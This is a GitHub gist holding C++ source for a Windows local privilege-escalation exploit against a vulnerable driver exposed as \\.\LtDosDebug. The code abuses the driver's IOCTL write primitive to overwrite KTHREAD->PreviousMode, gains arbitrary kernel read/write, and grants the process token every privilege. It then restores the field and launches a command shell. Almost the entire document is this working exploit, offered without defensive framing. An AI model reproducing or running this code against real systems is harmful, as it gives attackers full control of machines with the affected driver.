Created
December 10, 2025 17:28
-
-
Save iilegacyyii/75aa95dcc78e30d12ab48ae47943b8dd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <Windows.h> | |
| #define SystemHandleInformation 0x10 | |
| #define SystemHandleInformationSize 1024 * 1024 * 2 | |
| #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) | |
| #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) | |
| using fNtQuerySystemInformation = NTSTATUS(WINAPI*)( | |
| ULONG SystemInformationClass, | |
| PVOID SystemInformation, | |
| ULONG SystemInformationLength, | |
| PULONG ReturnLength | |
| ); | |
| // handle information | |
| typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO | |
| { | |
| USHORT UniqueProcessId; | |
| USHORT CreatorBackTraceIndex; | |
| UCHAR ObjectTypeIndex; | |
| UCHAR HandleAttributes; | |
| USHORT HandleValue; | |
| PVOID Object; | |
| ULONG GrantedAccess; | |
| } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; | |
| // handle table information | |
| typedef struct _SYSTEM_HANDLE_INFORMATION | |
| { | |
| ULONG NumberOfHandles; | |
| SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; | |
| } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; | |
| using fNtReadVirtualMemory = NTSTATUS(WINAPI*)( | |
| HANDLE ProcessHandle, | |
| PVOID BaseAddress, | |
| PVOID Buffer, | |
| SIZE_T NumberOfBytesToRead, | |
| PSIZE_T NumberOfBytesRead | |
| ); | |
| using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)( | |
| HANDLE ProcessHandle, | |
| PVOID BaseAddress, | |
| PVOID Buffer, | |
| SIZE_T NumberOfBytesToWrite, | |
| PSIZE_T NumberOfBytesWritten | |
| ); | |
| typedef struct sSepTokenPrivileges { | |
| ULONGLONG present; | |
| ULONGLONG enabled; | |
| ULONGLONG enabled_by_default; | |
| } SEP_TOKEN_PRIVILEGES; | |
| HANDLE device = 0; | |
| fNtReadVirtualMemory NtReadVirtualMemory = NULL; | |
| fNtWriteVirtualMemory NtWriteVirtualMemory = NULL; | |
| fNtQuerySystemInformation NtQuerySystemInformation = NULL; | |
| HANDLE GetDeviceHandle(LPCWSTR FilePath) | |
| { | |
| HANDLE handle = CreateFileW( | |
| FilePath, | |
| GENERIC_READ | GENERIC_WRITE, | |
| 0, | |
| NULL, | |
| OPEN_EXISTING, | |
| FILE_ATTRIBUTE_NORMAL, | |
| NULL | |
| ); | |
| if (!handle || handle == INVALID_HANDLE_VALUE) | |
| { | |
| printf("[-] Error getting handle: 0x%lx\n", GetLastError()); | |
| ExitProcess(-1); | |
| } | |
| printf("[+] Acquired Handle: 0x%llx\n", (SIZE_T)handle); | |
| return handle; | |
| } | |
| void write_3608_to_address(void* address) | |
| { | |
| BYTE in[0x40] = { 0 }; | |
| DeviceIoControl( | |
| device, | |
| 0x802b2003, | |
| address, | |
| 0x4, | |
| address, | |
| 0x4, | |
| nullptr, | |
| NULL); | |
| } | |
| PVOID GetKAddrFromHandle(HANDLE handle) { | |
| ULONG returnLength = 0; | |
| fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); | |
| PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); | |
| NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); | |
| ULONG numberOfHandles = handleTableInformation->NumberOfHandles; | |
| HeapFree(GetProcessHeap(), 0, handleTableInformation); | |
| handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100); | |
| NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100, &returnLength); | |
| for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) | |
| { | |
| SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; | |
| if (handleInfo.HandleValue == (USHORT)handle && handleInfo.UniqueProcessId == GetCurrentProcessId()) | |
| { | |
| return handleInfo.Object; | |
| } | |
| } | |
| } | |
| void kread(void* buf, void* dst, size_t len) | |
| { | |
| SIZE_T bytesread = 0; | |
| NtReadVirtualMemory(GetCurrentProcess(), buf, dst, len, &bytesread); | |
| } | |
| void kwrite(void* dst, void* buf, size_t len) | |
| { | |
| SIZE_T byteswritten = 0; | |
| NtWriteVirtualMemory(GetCurrentProcess(), dst, buf, len, &byteswritten); | |
| } | |
| VOID IncrementPrivileges() { | |
| HANDLE TokenHandle = NULL; | |
| PVOID tokenAddr = NULL; | |
| if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle)) | |
| tokenAddr = GetKAddrFromHandle(TokenHandle); | |
| SEP_TOKEN_PRIVILEGES original_privs = { 0 }; | |
| kread((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&original_privs, sizeof(original_privs)); | |
| SEP_TOKEN_PRIVILEGES privs = { 0 }; | |
| privs.enabled = 0x0000001ff2ffffbc; | |
| privs.present = 0x0000001ff2ffffbc; | |
| privs.enabled_by_default = original_privs.enabled_by_default; | |
| kwrite((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&privs, sizeof(privs)); | |
| SEP_TOKEN_PRIVILEGES modified_privs = { 0 }; | |
| kread((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&modified_privs, sizeof(modified_privs)); | |
| return; | |
| } | |
| int main(int argc, char* argv[], char* envp[]) | |
| { | |
| NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); | |
| NtReadVirtualMemory = (fNtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory"); | |
| NtWriteVirtualMemory = (fNtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory"); | |
| device = GetDeviceHandle(L"\\\\.\\LtDosDebug"); | |
| if (device == INVALID_HANDLE_VALUE) | |
| { | |
| printf("[!] failed to open handle to driver\n"); | |
| return 1; | |
| } | |
| printf("[+] opened handle\n"); | |
| // Get KTHREAD addr for this thread. | |
| HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId()); | |
| size_t kthread = (size_t)GetKAddrFromHandle(hthread); | |
| printf("[*] KTHREAD @ 0x%016llx\n", kthread); | |
| // overwrite KTHREAD->PreviousMode | |
| // our vuln writes 0x36080000 to a given address | |
| // dont care about corrupting KTHREAD->UserAffinityFill, as such we place the `3608` there. | |
| size_t addr_previousmode = kthread + 0x232; | |
| size_t addr_previousmode_write = addr_previousmode - 3; | |
| write_3608_to_address((void*)addr_previousmode_write); | |
| printf("[+] Set KTHREAD->PreviousMode to KernelMode\n"); | |
| // elevate privs | |
| IncrementPrivileges(); | |
| printf("[+] Modified process token\n"); | |
| // Fix previousmode | |
| kwrite((void*)addr_previousmode, (void*)"\x01", 1); | |
| printf("[+] Restored KTHREAD->PreviousMode\n"); | |
| printf("[*] Spawning shell, gl! :)\n"); | |
| system("C:\\windows\\system32\\cmd.exe"); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment